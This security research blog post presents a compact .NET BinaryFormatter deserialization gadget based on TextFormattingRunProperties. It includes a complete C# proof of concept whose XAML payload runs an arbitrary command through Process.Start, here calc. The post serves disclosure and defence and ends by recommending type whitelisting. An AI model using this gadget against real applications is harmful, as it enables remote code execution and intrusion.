New .NET deserialization gadget for compact payload. When size matters

by   in Cybersecurity

In our talk at Black Hat 2017 “Friday the 13th JSON Attacks”*, we mentioned a couple of known, and a few new, .NET gadgets for deserialization attacks. We recently reviewed this list and despite being one and a half years ago, it seems that only one (“PsObject”) was fixed by Microsoft and all the others are still available. In general, these gadgets are quite flexible and in most cases allow the attacker to reach remote code execution, however, we faced one problem with existing gadgets for “classic” .NET deserialization cases like BinaryFormatter. All of these gadgets required crafting large payloads, which would be a problem when the target has a payload length limitation. To solve this problem, we tried to reduce the length of the generated payloads for existing gadgets, but results were not satisfactory.

The ActivitySurrogateSelector gadget, by James Forshaw, gave us a payload that is around 3.5kB in size. Another of his gadgets, TypeConfuseDelegate, produced an almost two times smaller payload – about 2kB, but we still needed something smaller – less than 1kb.

After these attempts, we decided to try to find a brand new gadget that could satisfy this size requirement. Our research for the Black Hat presentation was not focused primarily on finding deserialization gadgets. We had a long list of libraries and frameworks to analyze for vulnerable JSON unmarshaller configurations and had to identify ways in which the setter and type converter vectors could be exploited. Therefore, no additional environment was prepared for gadget searching. We were using our work machines, which contained a lot of libraries that we did not expect to see in production environments. To save time, we eliminated from further analysis all classes that in our opinion were part of our development environment. Examples of such classes include the following: “Microsoft.VisualStudio.*” or “Microsoft.FSharp.*”.

This time we changed our approach and prepared a “clean” installation of Windows with the .NET Framework. We included all GAC available DLLs in our tool, which analyzes Types for potential deserialization gadgets, and were surprised to see a Type which we thought should not be present on a “clean” environment (remember no developer tools were installed):

Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties

We knew about this gadget but since it was in the Microsoft.VisualStudio.Text.UI.Wpf.dll, which is part of the Visual Studio installation, we discarded it from the list for further investigation of potential RCE gadgets. This time we did not have Visual Studio installed on our testing environment, so we were surprised to find that this Type was also available in a different DLL. Microsoft.PowerShell.Editor.dll has the same implementation of the mentioned Type. In addition, this library is part of PowerShell that is preinstalled on all Windows versions starting from Windows Server 2008 R2 and Windows 7.

This Type was highlighted by our tool because it uses XamlWriter/XamlReader for serialization/deserialization for its internal properties.

As we mentioned in our talk at Black Hat 2017, it is possible to invoke arbitrary code if we can control input for the XamlReader.Parse() call.  As a result, this gadget allows us to spawn calc.exe with a payload of just 750 bytes.

The following C# source code is a proof of concept for PowerShell version 3.0. Note that if a target has previous versions, you may need to change the assembly version to “Version=1.0.0.0”:

        [Serializable]
        public class TextFormattingRunPropertiesMarshal : ISerializable
        {
            string _xaml;
            public void GetObjectData(SerializationInfo info, StreamingContext context)
            {
                Type t = Type.GetType("Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
                info.SetType(t);
                info.AddValue("ForegroundBrush", _xaml);
            }
            public TextFormattingRunPropertiesMarshal(string xaml)
            {
                _xaml = xaml;
            }
        }
…
        static void Main(string[] args)
        {
            string cmd = "calc";
            string payload = @"<ResourceDictionary
  xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
  xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
  xmlns:System=""clr-namespace:System;assembly=mscorlib""
  xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system"">
        <ObjectDataProvider x:Key=""LaunchCalc"" ObjectType = ""{ x:Type Diag:Process}"" MethodName = ""Start"" >
     <ObjectDataProvider.MethodParameters>
        <System:String>cmd</System:String>
        <System:String>/c """   cmd   @""" </System:String>
     </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>";

            Object obj = new TextFormattingRunPropertiesMarshal(payload);
            BinaryFormatter fmt = new BinaryFormatter();
            MemoryStream ms = new MemoryStream();
            fmt.Serialize(ms, obj);
            ms.Position = 0;
            fmt.Deserialize(ms);
        }

Even though this gadget by itself is not a vulnerability, deserialization of untrusted data is. As we mentioned in our talk at Black Hat 2017, there is only one reliable way to be sure that you are safe when you need to use deserialization in your application – by using a whitelist of allowed Types.

Oleksandr Mirosh

 

*Certain versions of content ("Material") accessible here may contain branding from Hewlett-Packard Company (now HP Inc.) and Hewlett Packard Enterprise Company. As of September 1, 2017, the Material is now offered by Micro Focus, a separately owned and operated company. Any reference to the HP and Hewlett Packard Enterprise/HPE marks is historical in nature, and the HP and Hewlett Packard Enterprise/HPE marks are the property of their respective owners.

Labels: